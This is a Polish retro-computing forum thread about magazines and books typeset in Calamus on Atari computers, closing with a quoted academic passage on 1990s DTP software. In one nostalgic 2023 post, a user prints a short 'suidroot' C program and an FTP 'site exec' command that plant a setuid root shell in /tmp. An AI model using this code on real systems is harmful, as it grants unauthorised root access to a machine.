atarionline.pl Calamus - Forum Atarum

    Jeśli chcesz wziąć udział w dyskusjach na forum - zaloguj się. Jeżeli nie masz loginu - poproś o członkostwo.

    • :
    • :

    Vanilla 1.1.4 jest produktem Lussumo. Więcej informacji: Dokumentacja, Forum.

      • 1:
         
        CommentAuthorKaz
      • CommentTime3 Mar 2018 02:20 zmieniony
       
      Ponieważ "Atari Fan" Pitera jest składany w Calamusie na Atari TT, takoż nadchodząca książka o Robbo przez Krolla, to przy okazji rozmów pojawiło się pytanie:

      - jakie czasopisma/książki były składane na Calamusie?

      Zachęcam do dzielenia się wiedzą. Ja wiem na pewno o "STE-Fan" i "Desktop Info". Oraz o "Nieznany Świat", który był DTP-owo dzieckiem Stefana Szczypki. Co jeszcze?
      • 2: CommentAuthorwieczor
      • CommentTime3 Mar 2018 02:42
       
      W pierwszej połowie lat 90-ych w Olsztynie wychodziła gazeta darmowych ogłoszeń "Anonse" - niestety nie wiem czy gdzieś się zachował chociaż egzemplarz. Może ktoś ma dokładniejsze dane, ale jestem przekonany, że wówczas była składana na Calamusie, a dokładniej na Atari TT, bo będąc przypadkowo kiedyś w redakcji to widziałem :)
      • 3: CommentAuthorJarkeczek
      • CommentTime3 Mar 2018 10:08
       
      Na początku lat 90tych ukazały się lokalne pisemka w moim mieście, : parafialna "Róża w Rodzinie" i pismo urzędu pracy "Wieści z pośredniaka" oba składane w Calamusie 1.09 przeze mnie.
      • 4: CommentAuthorpiter
      • CommentTime3 Mar 2018 11:00
       
      w latach 90-tych w Liceum w Sopocie założyłem gazetkę szkolną REMANENT i była składana na Atari i Calamusie i na ... ksero..łączona technika :). Wtedy jeszcze na STe 4MB plus SH205 i SM124. Tak projektowałem też plakaty na jednej kapeli w załączeniu. Nie mam niestety numerów gazetki szkolnej, szukałem w necie ale chyba nic nie zostało zachowany - a szkoda. Fajna akacja była, wysyłałem fajne blondynki z liceum do szefów firm aby by dali kasę na materiały i nagrody. Super czasy :)

      Łączona technika to tak a że część była robiona na Atari, drukowane, a następnie ręcznie dorysowane elementy, wycinane elementy z gazet i następnie kserowane. Na plakatach załączonych dokładnie to widać - czasem na Atari był jeden napis tylko robiony. :)
      • 5: CommentAuthorpiter
      • CommentTime3 Mar 2018 11:01
       
      • 6: CommentAuthorpiter
      • CommentTime3 Mar 2018 11:01
       
      • 7:
         
        CommentAuthorpirx
      • CommentTime3 Mar 2018 11:02
       
      Na Calamusie SL były składane czasopisma IDG, np. ComputerWorld. Wiem, bo pracowałem przez chwilę jako operator DTP w f-mie Marrow (chyba, kurcze, trochę nie pamiętam), która robiła skład wszystkiego dla IDG.
      TT-ki mieli spięte w sieć jakimiś kanadyjskimi interfejsami, przy biurku miałem naświetlarkę HELL i zepsułem niezłą ilość kliszy :-]
      • 8: CommentAuthorpiter
      • CommentTime3 Mar 2018 11:15
       
      pirx, kurde super, ja też miałem naświetlarkę do Atari TT podłączoną ! półformat. ALe świeciliśmy tylko na sito, na offset była to nie ekonomiczne i na jakieś może drobne prace offsetowe. Masz jakieś foty może ? pewnie nie ? ja też nie mam .. naświetlarka poszła na złom okołó 2000 roku -teraz to bym ją zatrzymał ale wtedy to się inaczej patrzyło na takie rzeczy
      • 9: CommentAuthorfaust
      • CommentTime3 Mar 2018 11:46
       
      Bardzo OT, ale w temacie DTP, więc się wcinam. Zawsze "fascynował" mnie skład Komputera, nigdy do końca też nie odkryłem na czym to powstawało. IMO albo cuś pod ST albo pod Maczka, na typo z tamtego okresu kompletnie mi to nie pasuje. Ventura też nie. Może ktoś zna odpowiedź?
      • 10:
         
        CommentAuthorKaz
      • CommentTime3 Mar 2018 12:05
       
      Dzięki panowie! To cenne wspomnnienia.

      Jarkeczek - czy masz zachowane jakiekolwiek egzemplarze albo jakieś zdjęcia, skany?
      • 11: CommentAuthorpiter
      • CommentTime3 Mar 2018 12:05
       
      Kaz, a jak w środku wygląda NIeznany Świat ? porobisz fotki . ?
      • 12:
         
        CommentAuthorKaz
      • CommentTime3 Mar 2018 12:10
       
      Wygląda tak charakterystycznie dla Calamusa, że aż to kłuje w oczy :D. Mogę porobić, nie ma problemu. Specjalnie kupiłem te dwa egzemplarzy w starych czasach, bo zauważyłem od razu, że to na Calamusie składane i traktowałem to jako ciekawostkę. Musiałem przekopać sporo szuflad, żeby to znaleźć, ale udało się i mam pod ręką.
      • 13:
         
        CommentAuthorpirx
      • CommentTime3 Mar 2018 21:10
       
      Moje Atari też było składane na SLu.
      • 14: CommentAuthormarekp
      • CommentTime3 Mar 2018 22:35
       
      • 15: CommentAuthorJarkeczek
      • CommentTime4 Mar 2018 15:59
       
      Re: Kaz
      Zachowało się kilka numerów, po niedzieli zeskanuje i wkleje strony tytułowe.
      • 16: CommentAuthorAdamK
      • CommentTime4 Mar 2018 17:26
       
      ->link<-
      (składane na Calamusie 1.09N na MEGA ST, koloreowe ilustracje dokładano później w SLce)
      • 17:
         
        CommentAuthorKaz
      • CommentTime4 Mar 2018 21:52
       
      Jarkeczek - super, wklejaj.
      • 18: CommentAuthorJarkeczek
      • CommentTime8 Mar 2018 10:23
       
      Gazetka parafialna, złożyłem ok 6 numerów wydawane metodą kserowania więc jakość jaka jest. Składałem na STe z 2MB i calamusem 1.09
      • 19: CommentAuthorJarkeczek
      • CommentTime8 Mar 2018 10:24
       
      Była też próba utworzenia gazetki dla bezrobotnych, wysazły 2 numery (z 4) pod Calamusem.
      • 20:
         
        CommentAuthorKaz
      • CommentTime8 Mar 2018 12:51
       
      Świetnie, dzięki!
      Te fonty z gazetki dla bezrobotnych przypominają mi, że muszę sprawdzić, czy gazetka giełdowa z giełdy wrocławskiej czasem nie była składana na Calamusie. W końcu jeden z jej redaktorów, pan Kornafel, był fanem Atari :)
      • 21:
         
        CommentAuthorKaz
      • CommentTime31 Mar 2018 14:43 zmieniony
       
      Potwierdzam, gazetka giełdy wrocławskiej też robiona na Calamusie!

      A tu niedawna wypowiedź Stefana Szczypki na temat Calamusa, jego historii i dlaczego to była rewolucja w DTP:

      ->link<-



      warto też poczytać o historii Szczypki i jego studia:

      ->link<-

      • 22:
         
        CommentAuthortdc
      • CommentTime31 Mar 2018 22:45
       
      Ja poznałem pewnego przedsiębiorcę który zna Szczypkę, więc pewnie też coś dla niego składał. Natomiast bardzo go prosiłem o kontakt z nim aby zrobić wywiad, ale niestety powiedział mi że to nie jest możliwe - i niestety powiedział także dlaczego to nie jest możliwe.

      Co do tych materiałów tutaj zawartych to dzięki temu że Calamus miał własne czcionki, już na pierwszy rzut oka widać że to faktycznie było robione w Calamusie;)
      • 23: CommentAuthormrroman
      • CommentTime1 Apr 2018 16:19
       
      To nie jest do końca związane z Calamusem ale pamiętam, był na Świdnickiej we Wrocławiu salon, gdzie prezentowali chyba właśnie Calamusa na Mega ST. Było tam pare zestawów (może 2-3) komputerów z drukarkami laserowymi.
      • 24:
         
        CommentAuthorKaz
      • CommentTime1 Apr 2018 16:34
       
      W którym roku to widziałeś?
      I w którym mniej więcej miejscu na Świdnickiej?
      • 25: CommentAuthormrroman
      • CommentTime1 Apr 2018 17:05 zmieniony
       
      Wydaje mi się że to było koło księgarni Kwant na początku lat 90tych. Nie pamiętam dokładnie bo byłem mały wtedy. Pewnie z 10-12 lat :).
      • 26:
         
        CommentAuthorKaz
      • CommentTime2 Apr 2018 18:34
       
      OK, a pamiętasz czy witryna była od ulicy?

      Bo na Świdnickiej 19, ale na bodajże 3 piętrze, miał w swoim czasie siedzibę CET czyli firma powstała na bazie Atar Systemu. Jeżeli widziałeś coś na wystawie koło księgarni to może tam gdzie jest galeria sztuki, tam na początku lat 90-tych organizowano festiwal WRO, pełny tematów komputerowych.
      • 27:
         
        CommentAuthorpirx
      • CommentTime5 Apr 2018 10:57
       
      @TDC - stefan.szczypka@strstudio.pl
      • 28:
         
        CommentAuthorKaz
      • CommentTime5 Apr 2018 11:37
       
      TDC - no dlaczego nie jest to możliwe?
      • 29:
         
        CommentAuthorKaz
      • CommentTime20 Dec 2018 20:21 zmieniony
       
      AdamK właśnie mówi, że także "Archeologia Wojskowa" z lat 92-95 również była składana w Calamusie.

      Więcej o piśmie w Wiki:
      ->link<-
      • 30:
         
        CommentAuthorKaz
      • CommentTime30 Dec 2018 00:24 zmieniony
       
      • 31: CommentAuthorbrian-82
      • CommentTime5 Feb 2019 22:44
       
      W łapki moje i córki wpadła niedawno książka z wierszykami dla dzieci Jana Brzechwy pt. "Prosimy do zwierzyńca". Córce bardzo się podoba, a mnie zaciekawiła stopka redakcyjna
      • 32: CommentAuthorbrian-82
      • CommentTime5 Feb 2019 22:45
       
      kolejna strona
      • 33: CommentAuthorbrian-82
      • CommentTime5 Feb 2019 22:45
       
      stopka :)
      • 34:
         
        CommentAuthorKaz
      • CommentTime6 Feb 2019 01:21
       
      Fajna rzecz, dzięki Sebastian! :)

      PS. Uwaga techniczna - jak w poście ma być więcej niż jedno zdjęcie czy plik, to niestety robi się to niewygodnie, ale da się: edycja postu, załadowanie kolejnego obrazka, zatwierdzenie. Potem ponownie to samo - edycja, załadowanie, zatwierdzenie.
      • 35:
         
        CommentAuthorKaz
      • CommentTime21 Mar 2020 00:18
       
      Nie do końca o Calamusie, ale programie, który go wspierał. I był polski. A właściwie jest, bo jak się okazuje, wciąż jest w sprzedaży, w wersji PC. To "Kombi" studia 3N:

      ->link<-

      Krogulec:

      Kombi jest co prawda programem niszowym ale wydaje się jednym z najlepszych przykładów polskiej pełnawartościowej alternatywy dla konkurencyjnych produktów zagranicznych. Warto zwrócić uwagę, że program jest rozwijany przez autora już kilkanaście lat - w 1989 roku powstała wersja na Atari, a w 1996 roku na PC.
      • 36:
         
        CommentAuthorKaz
      • CommentTime14 Nov 2023 08:13 zmieniony
       
      Książka "Uwaga wirus!" Andrzeja Kadlofa składana na Atari Mega ST (Stefan Szczypka) w 1989 roku. Są nawet charakterystyczne dla Calamusa fonty...

      Skany zrobił i PDF książki podesłał mi Misza, dzięki!
      • 37: CommentAuthorjakubd
      • CommentTime15 Nov 2023 11:51
       
      Ooo redaktor techniczny: Marek Car - poznałem gościa w czasach Internetu dla Szkół. Zginął w wypadku samochodowym w okolicach tego, jak IdS został niezbyt w miłych okolicznościach przekształcony w Internet Data Systems. Ale nie widzę szczegółów w sieci, może warto poszukać informacji kiedyś o tym programie od strony organizacyjnej - ja tylko miałem szczęście siedzieć przy komputerach i wdrażać to w jednej z pierwszych 15 szkół w Wwie.
      • 38:
         
        CommentAuthorjhusak
      • CommentTime15 Nov 2023 12:32
       
      Ś.p. Andrzej Kadlof - miałem z nim zajęcia z Wirusów na UW. Do dziś go pamiętam, bardzo mu się podobał mój antywirus - pewnie dlatego.
    1.  
      @jakubd - dokładnie - też go poznałem. Pamiętam jak z okazji IdS - wręczał mi osobiście pakiet dBase III - olbrzymie pudło, nie wiem dlaczego akurat to, ani jaki był ten nagrodzony sukces.

      Pamiętam też Wydział Fizyki jak pokazywali mi system Tenex i dali dostęp zdalny do jednej z maszyn (przez TELNET!), co było dla mnie absolutnym MINDFUCKIEM, nazwisk nie pamiętam również niestety. Jak czytam książki o DARPANET, o początkach na PDP-11, o "hakerach" - dzieciakach odwiedzających uczelniane laboratoria, to trochę tak to właśnie pamiętam. Coś pisaliśmy w C, coś omawialiśmy, jakieś szczegóły - wszystko uleciało.

      został mi z tego ten jeden program z roku około 1995/1996 roku

      //-- CUT HERE -- suidroot.c
      main() {
      setuid(0);
      seteuid(0);
      system("cp /bin/sh /tmp/suidroot");
      system("chmod a+rwxs /tmp/suidroot");
      }
      //-- CUT HERE --

      //-- CUT HERE -- suidroot.sh
      //#!/bin/sh
      //exec suidroot
      //-- CUT HERE --

      //ftp> quote site exec sh suidroot.sh


      ale nie mam pojęcia, co zrobił wtedy TENEX.

      Ale pamięć pozostała, to najważniejsze.
      • 40: CommentAuthorjakubd
      • CommentTime16 Nov 2023 08:59
       
      No to mamy mniej więcej wspólne wspomnienia: mnie też oprowadzali po FUWie (półpodziemny "bunkier" po prawej strony od wejścia), racki z serwerami i półka z modemami do callbacku. I dokładnie tak samo się czułem jak nam dali dostęp jakiejś maszyny. Jak pogrzebię w archiwach komputerowych to znajdę jeszcze swojego pierwszego maila w Eudorze 1.0, którą wybrali do poczty w ramach IdS. Potem wiele lat używałem Eudory w ramach tłumaczeń.
      A kilka miesięcy później robiłem pierwszą stronę WWW szkoły swojej.
      Za udział i wsparcie od IdS to ja nawet pierwszą kasę w życiu dostałem (jako nagrodę), a potem jeszcze od szkoły na koniec roku (chyba 3cia klasa?). Kupiłem sobie za to Sound Blaster AWE32, którą mam do dziś :)
      • 41:
         
        CommentAuthorKaz
      • CommentTime2 Jun 2025 14:55 zmieniony
       
      Czeskie pismo o komputerach Atari pod tytułem "Alert" to kolejne pismo składane w Calamus SL (na Atari Falcon 030):
      • 42:
         
        CommentAuthorKaz
      • CommentTime30 Mar 2026 15:20 (1 godzinę temu)
       
      Przypadkiem trafiłem na stronie Uniwersytetu Adama Mickiewicza w Poznaniu na taki oto tekst o programach DTP. W artykule "Programy typu Desktop Publishing w Polsce w latach 1990-2000" jest i Calamus na Atari ST i PC: ->link<- lub ->link<-
      Artykuł przygotowali Bogdan Hojdis, Katarzyna Krzak i Tomasz Mrozek.

      3.1.1. Aldus/Adobe Pagemaker

      Program ten jest przez wielu uważany za pierwszy profesjonalny program desktop publishing służący do edycji i składu tekstu, choć w rzeczywistości pierwszym tego typu programem dla komputerów klasy PC był Ventura Publisher firmy Xerox wydany w około 1984 roku, natomiast pierwszym profesjonalnym narzędziem DTP był Calamus – program pracujący na platformie Atari ST. Pierwszą wersję PageMakera opracował Paul Brainard wraz z firmą Aldus. Pagemaker (później już w postaci pakietu) od początku był polecany jako idealne narzędzie nadające się do składu dużych publikacji, a w szczególności książek.

      (...)

      3.1.5. Calamus

      Program Calamus został opracowany przez niemiecką firmę DMC, będącą obecnie własnością kanadyjskiego koncernu MGI. Wiele osób obawiało się, że wraz z upadkiem firmy Atari upadnie również Calamus, którego pierwsza wersja pracowała właśnie na platformach sprzętowych tej firmy. Atari zyskało dużą popularność już w 1984 roku opracowując słynny model 260 ST, a w rok później 560 ST. (Symbole 260 oraz 520 ST oznaczały po prostu ilość pamięci operacyjnej (po zaokrągleniu) zastosowanej w tych modelach - 260 to 256 kilobajtów, a 520 to 512 KB pamięci). Dużą zaletą tych komputerów, był graficzny system operacyjny TOS kontrolowany za pomocą myszki oraz 16-bitowy procesor Motorola 68000, który już wtedy umożliwiał wyświetlanie obrazu o rozdzielczości 640x400 pikseli w dwóch kolorach, 640x200 w czterech i 320x200 w szesnastu kolorach i oferował częstotliwość odświeżania ekranu rzędu 72 Hz. W 1996 roku podupadająca firma Atari została wykupiona przez producenta dysków twardych JTS i oficjalnie przestała istnieć.

      Dalszy rozwój Calamusa stał się jednak możliwy dzięki opracowaniu jego wersji pracującej w systemach Windows 95 i Windows NT, oraz wprowadzeniu emulatora MagicMac, który umożliwił pracę w programie Calamus na komputerach klasy Macintosh.

      Istotną cechą charakterystyczną wyróżniającą Calamusa spośród innych programów tego typu jest jego konstrukcja. Wszystkie wersje tego programu mają tzw. budowę modułową – każda dostępna w nim paleta narzędzi jest odrębnym modułem, przywoływanym w razie potrzeby przez użytkownika. Taka konstrukcja sprawia, że program jest bardzo elastyczny i nawet najbardziej wymagający użytkownik może go dopasować do swoich potrzeb oraz umożliwia pełną kontrolę nad podstawowymi paletami narzędzi ładowanymi domyślnie podczas uruchamiania programu – ich listę można dowolnie zmodyfikować. Kolejną zaletą takiego rozwiązania jest możliwość wyposażania Calamusa w coraz to nowsze moduły, które można zakupić bezpośrednio u producenta. Przypomina to trochę konstrukcje z klocków – nawet jeden klocek już może czemuś służyć, a ich odpowiednio uporządkowany zbiór może tworzyć konstrukcje ograniczone tylko wyobraźnią autora.

      Calamus posiada również zintegrowane w jednym interfejsie funkcje edytorskie i graficzne, tak bitmapowe, jak i wektorowe, czym wyprzedził o kilka lat swoich rywali takich, jak QuarkXPress, czy Adobe PageMaker.

      Kolejną istotną cechą tego programu jest możliwość kontrolowania za jego pomocą nawet najdrobniejszych szczegółów w danej publikacji, głównie dzięki możliwości jej podglądu do 9999%. W programie istnieje również możliwość cyfrowego ustawiania ramek tekstowych, graficznych, wektorowych, rastrowych, linii, tabel, etc. z dokładnością do 0,0000001 cm.

      Mimo, iż Calamus wciąż był jednym z najlepiej sprzedających się programów do DTP, w 1998 roku firma MGI ogłosiła, że zaprzestaje prac nad wcześniej obiecywaną wersją 2.0, jednak współpracująca z nią firma INVERS, która wciąż opracowywała nowe wersje tego programu dla jeszcze istniejących na rynku komputerów z systemem TOS (te platformy sprzętowe były wciąż popularne m.in. w Polsce, Niemczech, Szwajcarii, Francji oraz Grecji) postanowiła wydać ten program na komputery klasy PC pracujące w systemach Windows. Chcąc zrobić to w krótkim czasie, firma początkowo opracowała emulatory, które umożliwiały uruchomienie "zwykłej" wersji TOSowej w systemie Windows oraz MacOS na komputerach typu Macintosh.

      Najistotniejsza cecha Calamusa, jaką jest softripping wywodzi się jeszcze z czasów, kiedy Calamus pracował na komputerach Atari. W celu przygotowania obrazu do wydruku niezbędny jest tzw. RIP (ang. Raster Image Processor), który przetwarza daną ilustrację, czy też cały skład na układ "zrozumiały" dla urządzenia wyjściowego, jakim jest często w takich przypadkach naświetlarka. RIP-y najczęściej miały postać zewnętrznych urządzeń, lub były elementem urządzenia wyjściowego, jednak te rozwiązania były bardzo drogie. Softripping zaimplementowany w programie Calamus umożliwia bezpośrednie podłączenie danego urządzenia (w tym przypadku naświetlarki) do komputera, na którym zainstalowany jest ten program, bez konieczności inwestowania w dodatkowe i bardzo kosztowne urządzenia. To powoduje, że naświetlanie staje się z punktu widzenia użytkownika tak samo banalną czynnością jak zwykły wydruk, np. na drukarce atramentowej. Oczywiście, to co jest na ekranie, to znajdzie się i na kliszy, umieszczone w identyczny sposób jak w programie – inaczej nie można by mówić w tym przypadku o technologii WYSIWYG. Równolegle z softrippingiem opracowano również moduł o nazwie Bridge, które umożliwiający export publikacji do formaty plików postscriptowych.

      Calamus obecnie jest programem pracującym równie dobrze na komputerach z systemem Windows 9.x/NT (PC), MacOS (Macintosh) oraz TOS (ATARI TT, Falcon, Hades, Milan, itp.), więc można go używać bez problemu na tych platformach, stosując te same zestawy czcionek. Również wymiana dokumentów pomiędzy platformami jest bardzo sprawna – publikacja opracowana na Macintoshu będzie identycznie wyglądać na komputerze klasy PC i vice versa. Najnowsza wersja tego programu została ukończona w połowie 2000 roku i wciąż trwają prace nad nowymi możliwościami tego programu.